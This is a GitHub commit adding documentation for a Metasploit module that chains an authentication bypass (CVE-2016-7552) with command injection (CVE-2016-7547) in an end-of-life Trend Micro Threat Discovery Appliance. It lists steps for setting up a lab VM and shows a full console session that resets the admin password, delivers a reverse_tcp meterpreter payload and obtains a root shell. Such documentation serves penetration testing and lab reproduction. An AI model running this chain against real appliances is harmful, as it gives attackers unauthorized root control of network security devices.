Skip to content

Commit f8c72df

Browse files
committed
added some documentation
1 parent 3c2dc68 commit f8c72df

File tree

1 file changed

+69
-0
lines changed

1 file changed

+69
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
## Vulnerable Application
2+
3+
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. The first is an authentication bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552). The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi interface (CVE-2016-7547).
4+
5+
Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted. The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box. Therefore, this module performs a heart beat request until the box is bounced and then attempts to login and to perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance.
6+
7+
Trend Micro are not patching this vulnerability since this product is now ([EOL](https://success.trendmicro.com/solution/1105727-list-of-end-of-life-eol-end-of-support-eos-trend-micro-products)).
8+
9+
![Demo](http://srcincite.io/poc/CVE-2016-7547.gif)
10+
11+
**Vulnerable Application Installation Steps**
12+
13+
List the steps needed to make sure this thing works
14+
15+
- [ ] Download the ISO from ([Trend Micro's](http://download.trendmicro.com/products/tda/TDA_InstallationCD.2.6.1062r1.en_US.iso)) download site.
16+
- [ ] Setup the VM to have 2 NIC's, 100 Gig HD and 4096 RAM.
17+
- [ ] Click through the default install.
18+
- [ ] You are ready to burn.
19+
20+
**Verification Steps**
21+
22+
A successful check of the exploit will look like this:
23+
24+
```
25+
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc
26+
[*] Processing scripts/trend.rc for ERB directives.
27+
resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
28+
resource (scripts/trend.rc)> set RHOST 192.168.100.2
29+
RHOST => 192.168.100.2
30+
resource (scripts/trend.rc)> set payload linux/x86/meterpreter/reverse_tcp
31+
payload => linux/x86/meterpreter/reverse_tcp
32+
resource (scripts/trend.rc)> set LHOST 192.168.100.13
33+
LHOST => 192.168.100.13
34+
resource (scripts/trend.rc)> exploit
35+
[*] Exploit running as background job.
36+
37+
[*] Started reverse TCP handler on 192.168.100.13:4444
38+
[*] Bypassing authentication...
39+
msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) >
40+
[+] The password has been reset!
41+
[*] Waiting for the reboot...
42+
[*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ...
43+
[*] Using URL: http://0.0.0.0:1337/nnDBuOUMuKnxP
44+
[*] Local IP: http://192.168.100.13:1337/nnDBuOUMuKnxP
45+
[+] Logged in
46+
[*] 192.168.100.2:443 - Sending the payload to the server...
47+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
48+
[*] Sending stage (1495599 bytes) to 192.168.100.2
49+
[*] Meterpreter session 1 opened (192.168.100.13:4444 -> 192.168.100.2:46140) at 2016-09-23 14:59:08 -0500
50+
[+] Deleted /tmp/rpNDXQZTB
51+
[*] Server stopped.
52+
53+
msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > sessions -i 1
54+
[*] Starting interaction with 1...
55+
56+
meterpreter > shell
57+
Process 3846 created.
58+
Channel 1 created.
59+
60+
61+
BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash)
62+
Enter 'help' for a list of built-in commands.
63+
64+
/bin/sh: can't access tty; job control turned off
65+
/opt/TrendMicro/MinorityReport/www/cgi-bin # id
66+
id
67+
uid=0(root) gid=0(root)
68+
/opt/TrendMicro/MinorityReport/www/cgi-bin #
69+
```

0 commit comments

Comments
 (0)